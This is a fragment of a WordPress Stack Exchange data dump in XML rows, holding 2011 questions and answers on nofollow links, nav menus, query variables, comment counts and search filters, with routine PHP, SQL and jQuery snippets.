  <row Id="16439" PostTypeId="1" AcceptedAnswerId="16445" CreationDate="2011-05-05T12:18:40.637" Score="0" ViewCount="104" Body="&lt;p&gt;I'd like to make all the links in posts on one of &lt;a href=&quot;http://www.dancebloggers.com&quot; rel=&quot;nofollow&quot;&gt;my sites&lt;/a&gt; to be with rel=&quot;nofollow&quot; on links inside posts.  I wasn't able to find a plugin that did the job except for WP-NoExternalLinks.  It also didn't work, unless I used it's dooms day option:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Mask ALL links in document (can slow&#xA;  down your blog and conflict with some&#xA;  cache and other plugins. Please use it&#xA;  on your own risk.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I use it, it also puts nofollow on my blogroll links (which I would have preferred to keep alive.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion what might be causing this? or how to resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-05-05T13:59:37.663" Title="A plugin for having rel=&quot;nofollow&quot; in posts?" Tags="&lt;plugins&gt;&lt;links&gt;&lt;seo&gt;&lt;nofollow&gt;" AnswerCount="2" />
  <row Id="16440" PostTypeId="1" AcceptedAnswerId="16697" CreationDate="2011-05-05T12:19:59.567" Score="0" ViewCount="140" Body="&lt;p&gt;I need a plugin for custom post type. I need something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/crrY1.jpg&quot; alt=&quot;Mockup with image uploader under edit screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a plugin which has this feature, especially image upload and &quot;Add another&quot; button option.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T12:30:18.447" LastActivityDate="2011-06-08T01:49:40.017" Title="Multiple image uploader under editor?" Tags="&lt;custom-field&gt;&lt;plugin-recommendation&gt;&lt;images&gt;&lt;uploads&gt;" AnswerCount="3" />
  <row Id="16441" PostTypeId="2" ParentId="16440" CreationDate="2011-05-05T12:24:04.817" Score="0" ViewCount="" Body="&lt;p&gt;This isn't a custom post issue - it's custom fields. You can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template plugin&lt;/a&gt; to give you this functionality&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-05T12:24:04.817" />
  <row Id="16442" PostTypeId="2" ParentId="16414" CreationDate="2011-05-05T12:25:33.503" Score="2" ViewCount="" Body="&lt;p&gt;The theme editor &lt;a href=&quot;http://core.trac.wordpress.org/ticket/4131&quot; rel=&quot;nofollow&quot;&gt;has support for files in a subdirectory&lt;/a&gt; - but only if this is the main theme and only for PHP files. This seems to be an omission, I &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17333&quot; rel=&quot;nofollow&quot;&gt;opened a ticket for it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T12:25:33.503" CommentCount="1" />
  <row Id="16443" PostTypeId="2" ParentId="16421" CreationDate="2011-05-05T12:38:30.673" Score="1" ViewCount="" Body="&lt;p&gt;Looks like you've mis-named the function. It is &lt;code&gt;the_tweetbutton()&lt;/code&gt;, rather than &lt;code&gt;tweetbutton()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should &lt;em&gt;always&lt;/em&gt; wrap Plugin-added function calls in &lt;code&gt;if (function_exists())&lt;/code&gt; conditional wrappers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting that together, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;tweet-button&quot;&amp;gt;&#xA;      &amp;lt;?php tweetbutton(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;tweet-button&quot;&amp;gt;&#xA;      &amp;lt;?php if ( function_exists( 'the_tweetbutton' ) ) the_tweetbutton(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T12:38:30.673" CommentCount="6" />
  <row Id="16444" PostTypeId="2" ParentId="16418" CreationDate="2011-05-05T12:38:43.353" Score="1" ViewCount="" Body="&lt;p&gt;I would duplicate the coordinates of the posts in a separate table &lt;code&gt;(post_id, lat, lon)&lt;/code&gt;, with an index on &lt;code&gt;(lat, lon)&lt;/code&gt;. With all the joins and the casts I doubt the database can use an efficient index with your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once wrote &lt;a href=&quot;http://wordpress.stackexchange.com/questions/468/optimizing-a-proximity-based-store-location-search-on-a-shared-web-host/2712#2712&quot;&gt;an answer to a similar question&lt;/a&gt; using this approach.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T12:38:43.353" CommentCount="7" />
  <row Id="16445" PostTypeId="2" ParentId="16439" CreationDate="2011-05-05T12:40:37.813" Score="1" ViewCount="" Body="&lt;p&gt;you can add a filter in your functions.php&#xA;add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Nofollow in content&#xA;add_filter('the_content', 'my_nofollow');&#xA;&#xA;function my_nofollow($content) {&#xA;    //return stripslashes(wp_rel_nofollow($content));&#xA;&#xA;    return preg_replace_callback('/&amp;lt;a[^&amp;gt;]+/', 'my_nofollow_callback', $content);&#xA;}&#xA;&#xA;function my_nofollow_callback($matches) {&#xA;    $link = $matches[0];&#xA;    $site_link = get_bloginfo('url');&#xA;&#xA;    if (strpos($link, 'rel') === false) {&#xA;        $link = preg_replace(&quot;%(href=\S(?!$site_link))%i&quot;, 'rel=&quot;nofollow&quot; $1', $link);&#xA;    } elseif (preg_match(&quot;%href=\S(?!$site_link)%i&quot;, $link)) {&#xA;        $link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel=&quot;nofollow&quot;', $link);&#xA;    }&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-05-05T12:40:37.813" CommentCount="4" />
  <row Id="16447" PostTypeId="2" ParentId="16415" CreationDate="2011-05-05T13:05:49.680" Score="1" ViewCount="" Body="&lt;p&gt;You can't pass an argument to the callback function. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/plugin.php#L878&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_menu_page()&lt;/code&gt; adds it as an action handler&lt;/a&gt;, and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/admin.php#L151&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;admin.php&lt;/code&gt; fires the action&lt;/a&gt;, without any arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two simple solutions to this problem. One is to store all filename in an array in your class, indexed by hook name. Then you can use this to look up what file you need to load (you can also store additional data in this array).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE16415_Plugin&#xA;{&#xA;    protected $views = array();&#xA;&#xA;    function load_view() {&#xA;        // current_filter() also returns the current action&#xA;        $current_views = $this-&amp;gt;views[current_filter()];&#xA;        include(dirname(__FILE__).'/views/'.$current_views.'.php');&#xA;    }&#xA;&#xA;    function myplugin_create_menus() {&#xA;        $view_hook_name = add_menu_page( 'Plugin name',&#xA;            'Plugin name',&#xA;            'manage_options',&#xA;            'my-plugin-settings',&#xA;            array(&amp;amp;$this, 'load_view'),&#xA;        );&#xA;        $this-&amp;gt;views[$view_hook_name] = 'options';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other is to skip the callback argument, so WordPress will include the file indicated by the slug name itself, as Brady suggests in his answer.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T13:05:49.680" CommentCount="2" />
  <row Id="16448" PostTypeId="2" ParentId="16413" CreationDate="2011-05-05T13:40:45.730" Score="1" ViewCount="" Body="&lt;p&gt;Personally, I like using &lt;code&gt;get_posts()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) for quick-and-dirty Loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;front-page.php&lt;/code&gt; template file, try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Create a variable to hold our custom Loop results&#xA;$frontpageposts = get_posts( array( &#xA;     'numberposts' =&amp;gt; 2 // only the 2 latest posts&#xA;) );&#xA;&#xA;// Create output only if we have results&#xA;// Customize to suit your HTML markup&#xA;if ( $frontpageposts ) { &#xA;&#xA;     foreach ( $frontpageposts as $fppost ) { &#xA;          // setup postdata, so we can use template tags&#xA;          setup_postdata($fppost);&#xA;          ?&amp;gt;&#xA;&#xA;          &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;               &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;               &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;                    &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, you'll need to modify the HTML markup according to your needs. &lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T13:40:45.730" />
  <row Id="16449" PostTypeId="2" ParentId="16413" CreationDate="2011-05-05T13:45:45.717" Score="0" ViewCount="" Body="&lt;p&gt;An even easier way to do this is to make a page-x.php file in your theme.  X is the ID of the page you're going to use as a homepage.  This assumes you have FTP access which you must since you can create files.  For instance, the page-2.php would be the template used for the default WordPress sample page.  But you can't just use if (have_posts()) since you're on a page and that will pull up the pages content that you're on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better to use a WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$news = new WP_Query( array(&#xA;                           'category_name'=&amp;gt;'news',&#xA;                           'posts_per_page' =&amp;gt; 2&#xA;                           )&#xA;                    );&#xA;&#xA;if ($news-&amp;gt;have_posts()) while ($news-&amp;gt;have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then continue with your loop.  Let me know if you need more detail.  Where I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'category_name' =&amp;gt; 'news'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'news' should be changed to the SLUG of your category.&lt;/p&gt;&#xA;" OwnerUserId="5145" LastActivityDate="2011-05-05T13:45:45.717" />
  <row Id="16450" PostTypeId="2" ParentId="16406" CreationDate="2011-05-05T13:53:44.380" Score="0" ViewCount="" Body="&lt;p&gt;Why not just include the google analytics code in the functions file by hooking wp_foot?  I usually just add it that way.  Are you trying to use something like Analyticator that shows the analytics on your dashboard?&lt;/p&gt;&#xA;" OwnerUserId="5145" LastActivityDate="2011-05-05T13:53:44.380" CommentCount="1" />
  <row Id="16451" PostTypeId="2" ParentId="16439" CreationDate="2011-05-05T13:59:37.663" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried using jQuery to add the nofollow?  I think, if I understand your post correctly, you ONLY want to stop the follow on external links, but follow internal links correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    $(&quot;a[href^=http://]&quot;).attr(&quot;rel&quot;,&quot;nofollow&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5145" LastActivityDate="2011-05-05T13:59:37.663" CommentCount="3" />
  <row Id="16452" PostTypeId="1" AcceptedAnswerId="16522" CreationDate="2011-05-05T14:36:37.950" Score="0" ViewCount="128" Body="&lt;p&gt;say i've got a url &lt;a href=&quot;http://bfami.modernactivity.co.uk/category/museum/orderby/date/order/desc/&quot; rel=&quot;nofollow&quot;&gt;http://bfami.modernactivity.co.uk/category/museum/orderby/date/order/desc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that works with;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'category/(.+?)/orderby/([^/]+)/order/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?category_name=$matches[1]&amp;amp;paged=$matches[5]&amp;amp;orderby=$matches[2]&amp;amp;order=$matches[3]', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how do i get the value of orderby or order on a page? Think wordpress removes the GET values which is what i'd normally use...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just want to highlight the active order filter on the page!&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-05-06T08:58:05.667" Title="get variable from url?" Tags="&lt;url-rewriting&gt;&lt;filters&gt;&lt;urls&gt;&lt;variables&gt;" AnswerCount="3" />
  <row Id="16454" PostTypeId="2" ParentId="16452" CreationDate="2011-05-05T14:47:14.343" Score="1" ViewCount="" Body="&lt;p&gt;You are looking for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;get_query_var()&lt;/a&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$orderby = get_query_var('orderby');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-05T17:45:02.883" LastActivityDate="2011-05-05T17:45:02.883" CommentCount="1" />
  <row Id="16455" PostTypeId="1" AcceptedAnswerId="16456" CreationDate="2011-05-05T15:03:37.673" Score="0" ViewCount="112" Body="&lt;p&gt;At the begining, I thought there was an issue with my HTML or CSS files. But then I realized that other people using Wordpress 3.1 had the same problem (check out &lt;a href=&quot;http://stackoverflow.com/questions/5865100/html-tag-has-28px-to-margin-which-seems-to-come-from-nowhere&quot;&gt;this link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin bar disappears when I click another 'Pages' or 'Posts,' but it leaves its 28px padding at the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this has something to do with folder's permission issues in ubuntu (I'm using ubuntu 11.04). I did &lt;code&gt;chmod -R 777&lt;/code&gt; to my &lt;code&gt;www&lt;/code&gt; folder (the default folder for my &lt;code&gt;locahhost&lt;/code&gt;), but I'm still having the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to fix this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-07-25T16:11:11.013" Title="Wordpress 3.1's admin bar disappears only leaving its 28 px padding (in ubuntu)!" Tags="&lt;admin&gt;&lt;3.1&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16456" PostTypeId="2" ParentId="16455" CreationDate="2011-05-05T15:06:00.713" Score="3" ViewCount="" Body="&lt;p&gt;Verify that &lt;code&gt;wp_footer()&lt;/code&gt; is being called in all template files, and that the Admin Bar javascript and CSS are being properly hooked into the document head.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T15:06:00.713" CommentCount="2" />
  <row Id="16457" PostTypeId="1" AcceptedAnswerId="16463" CreationDate="2011-05-05T15:07:27.233" Score="2" ViewCount="119" Body="&lt;p&gt;I am trying to find a function, plugin, query - something that will separate the parent comment count from the reply count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 comments total are broken into 3 parent comments and 7 replies. How can I display this at the top of the comment form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please &amp;amp; thank you!&lt;/p&gt;&#xA;" OwnerUserId="5146" LastActivityDate="2011-06-14T04:35:02.367" Title="Count parent comments &amp; replies separately?" Tags="&lt;comments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16458" PostTypeId="1" AcceptedAnswerId="16464" CreationDate="2011-05-05T15:19:49.850" Score="0" ViewCount="50" Body="&lt;p&gt;I want two menus using the new WordPress 3.0 feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_my_menus() {&#xA; register_nav_menus(&#xA;    array(&#xA;     'header-menu' =&amp;gt; __( 'Header Menu' ),&#xA;     'top-menu' =&amp;gt; __('Top Menu')&#xA;   )&#xA; ); &#xA;}&#xA;&#xA;add_action( 'init', 'register_my_menus' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;header.php&lt;/code&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'name' =&amp;gt; 'Header Menu' ) ); ?&amp;gt;&#xA;....&#xA;&amp;lt;?php wp_nav_menu( array( 'name' =&amp;gt; 'Top Menu' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now they seem to fallback or something, always showing the same menu.&#xA;The menus have been defined and setup in wp-admin &quot;theme-locations&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why won't they load appropriately?&lt;/p&gt;&#xA;" OwnerUserId="4569" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T16:02:33.847" LastActivityDate="2011-05-05T16:02:33.847" Title="Can't display custom menu using name?" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="16459" PostTypeId="2" ParentId="10088" CreationDate="2011-05-05T15:23:28.340" Score="2" ViewCount="" Body="&lt;p&gt;We tracked it down to content-encoding' =&gt; string 'deflate' (length=7) being at fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP_HTTP is adding in a deflate header for no reason and un gzip compressing the results.&#xA;It only happens when the body of the response is under a certain string length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very annoying when all you want isa 1 or a 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A query to WP_Hackers hasn't resulted in a fix.&#xA;Might have to chase it up further.....&lt;/p&gt;&#xA;" OwnerUserId="5147" LastActivityDate="2011-05-05T15:23:28.340" CommentCount="1" />
  <row Id="16460" PostTypeId="1" CreationDate="2011-05-05T15:23:43.253" Score="0" ViewCount="132" Body="&lt;p&gt;I hope you can help :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to customise the output of &lt;strong&gt;wp_get_archives&lt;/strong&gt; (or similar) to produce a list of links to the relevant archive pages like the following (the numbers in brackets being the post counts):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Today (10)&lt;/li&gt;&#xA;&lt;li&gt;Yesterday (1)&lt;/li&gt;&#xA;&lt;li&gt;This Week (13)&lt;/li&gt;&#xA;&lt;li&gt;Last Week (1)&lt;/li&gt;&#xA;&lt;li&gt;This Month (17)&lt;/li&gt;&#xA;&lt;li&gt;Last Month (14)&lt;/li&gt;&#xA;&lt;li&gt;This Year (200)&lt;/li&gt;&#xA;&lt;li&gt;Last Year (11100)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have found this function in an old theme but modifying this to get what I need is a big out of my league.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_archives(){&#xA;    global $wpdb;&#xA;    $querystr = &quot;   SELECT YEAR(post_date) AS 'year',&#xA;                    MONTH(post_date) AS 'month',&#xA;                    count(ID) as posts FROM wp_posts&#xA;                    INNER JOIN wp_term_relationships ON(wp_posts.ID = wp_term_relationships.object_id)&#xA;                    INNER JOIN wp_term_taxonomy ON(wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)&#xA;                    WHERE wp_term_taxonomy.taxonomy = 'category'&#xA;                    AND wp_posts.post_status = 'publish'&#xA;                    AND wp_posts.post_type = 'post'&#xA;                    AND post_date &amp;gt;=DATE_SUB(NOW(),INTERVAL 12 MONTH)&#xA;                    GROUP BY YEAR(post_date), MONTH(post_date)&#xA;                    ORDER BY post_date DESC&quot;;&#xA;&#xA;    $years = $wpdb-&amp;gt;get_results($querystr);&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    foreach ( (array) $years as $year ) {&#xA;    $date =mysql2date('F o', $year-&amp;gt;year.'-'.$year-&amp;gt;month, $translate = true);&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_bloginfo('url').'/'.$year-&amp;gt;year.'/'.sprintf(&quot;%02d&quot;, $year-&amp;gt;month).'/&quot;&amp;gt;'.$date.'&amp;lt;/a&amp;gt; ('.$year-&amp;gt;posts.')&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone has done this and could help I'd be very grateful! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-05-05T15:23:43.253" Title="Custom wp_get_archives function to retrieve today, this week, this month's archive links with post counts" Tags="&lt;functions&gt;&lt;customization&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" />
  <row Id="16461" PostTypeId="1" AcceptedAnswerId="16462" CreationDate="2011-05-05T15:47:21.130" Score="0" ViewCount="117" Body="&lt;p&gt;Recently our site began no longer returning correct search results. When searching it returns one result that's unrelated to the inquiry. I've turned off all plugins and reverted back to a day when I thought it was working properly to no avail. What could possibly cause this to occur? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the image below that the result is not related to the inquiry.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/0j4Mo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of a page with the title and terms related to the inquiry.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/1DmCn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end also returns inaccurate results&lt;img src=&quot;http://i.stack.imgur.com/1O7qd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-05-06T18:20:16.823" LastActivityDate="2011-05-06T19:26:32.053" Title="What would causes search to return incorrect results?" Tags="&lt;posts&gt;&lt;3.1&gt;&lt;page&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="16462" PostTypeId="2" ParentId="16461" CreationDate="2011-05-05T15:51:13.703" Score="1" ViewCount="" Body="&lt;p&gt;AFAIK, out-of-the-box WordPress does not include taxonomies, such as tags and categories, in it's search, only post titles &amp;amp; content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this has always been the case, so I'm a little confused as to why it 'used to work'. Perhaps the pages have been modified, and used to contain the search terms themselves, but no longer do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Taking a look at your &lt;code&gt;functions.php&lt;/code&gt;, I see three possible troublemakers;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Line 572, &lt;code&gt;add_filter('pre_get_posts', 'query_post_type');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Line 597, &lt;code&gt;add_filter('pre_get_posts','SearchFilter');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Line 776, &lt;code&gt;add_filter('posts_groupby', 'group_by_post_type' );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suggest, one at a time, commenting out the line (prepend the line with &lt;code&gt;//&lt;/code&gt;) and then testing a search. If there are no improvements, try all three commented out and work your way backwards. Either way you should be able to isolate the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, two minor improvement suggestions (off-topic);&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove the line &lt;code&gt;add_action('init', 'my_init_method');&lt;/code&gt; (it's worthless)&lt;/li&gt;&#xA;&lt;li&gt;Remove the two &lt;code&gt;update_option&lt;/code&gt; calls at the top (unneccessary database writes on &lt;em&gt;every&lt;/em&gt; request).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-05-06T19:26:32.053" LastActivityDate="2011-05-06T19:26:32.053" CommentCount="11" />
  <row Id="16463" PostTypeId="2" ParentId="16457" CreationDate="2011-05-05T15:51:27.883" Score="3" ViewCount="" Body="&lt;p&gt;here's a quick and dirty method...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in functions php, we create a callback function for wp_list_comments() which will count our comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['parent_comments_count'] = 0;&#xA;$GLOBALS['child_comments_count'] = 0;&#xA;&#xA;function count_comments( $comment, $args, $depth ) {&#xA;    $GLOBALS['comment'] = $comment;&#xA;    if($comment-&amp;gt;comment_parent==0):&#xA;        $GLOBALS['parent_comments_count']++;&#xA;    else:&#xA;        $GLOBALS['child_comments_count']++;&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, in our template where it calls wp_list_comments(), we add another with a callback to our count function, then immediately after we can echo our count. then we have the regular wp_list_comments(), which will actually output the comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_comments( array( 'callback' =&amp;gt; 'count_comments' ) );&#xA;echo &quot;parents: &quot;. $GLOBALS['parent_comments_count'];&#xA;echo &quot;children: &quot;. $GLOBALS['child_comments_count'];&#xA;wp_list_comments();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;emphasis on 'dirty', I'm sure there's a cleaner way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another method which uses an additional query. This will get numbers regardless of pagination. We use the &lt;code&gt;comment_count&lt;/code&gt; variable in &lt;code&gt;$post&lt;/code&gt; to subtract number of parents from to get number of children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c_parent_comment_counter($id){&#xA;    global $wpdb;&#xA;    $query = &quot;SELECT COUNT(comment_post_id) AS count FROM $wpdb-&amp;gt;comments WHERE `comment_approved` = 1 AND `comment_post_ID` = $id AND `comment_parent` = 0&quot;;&#xA;    $parents = $wpdb-&amp;gt;get_row($query);&#xA;    return $parents-&amp;gt;count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$number_of_parents = c_parent_comment_counter($post-&amp;gt;ID);&#xA;$number_of_children = $post-&amp;gt;comment_count - $number_of_parents;&#xA;&#xA;echo &quot;parents: &quot;.$number_of_parents;&#xA;echo &quot;children: &quot;.$number_of_children;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-05T17:43:13.823" LastActivityDate="2011-05-05T17:43:13.823" CommentCount="3" />
  <row Id="16464" PostTypeId="2" ParentId="16458" CreationDate="2011-05-05T16:00:40.087" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt; does not have a &lt;code&gt;name&lt;/code&gt; argument&lt;/a&gt;. Instead, you should use &lt;code&gt;theme_location&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_nav_menus&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_nav_menus()&lt;/code&gt;&lt;/a&gt;, you indicate that you have two locations in your theme where you can display a menu. The user can then create multiple menus, and assign them to these locations. This is why we have the indirection via &lt;code&gt;theme_location&lt;/code&gt;. If you know the ID, slug or name of the menu you want to use, you can use the &lt;code&gt;menu&lt;/code&gt; argument of &lt;code&gt;wp_nav_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T16:00:40.087" />
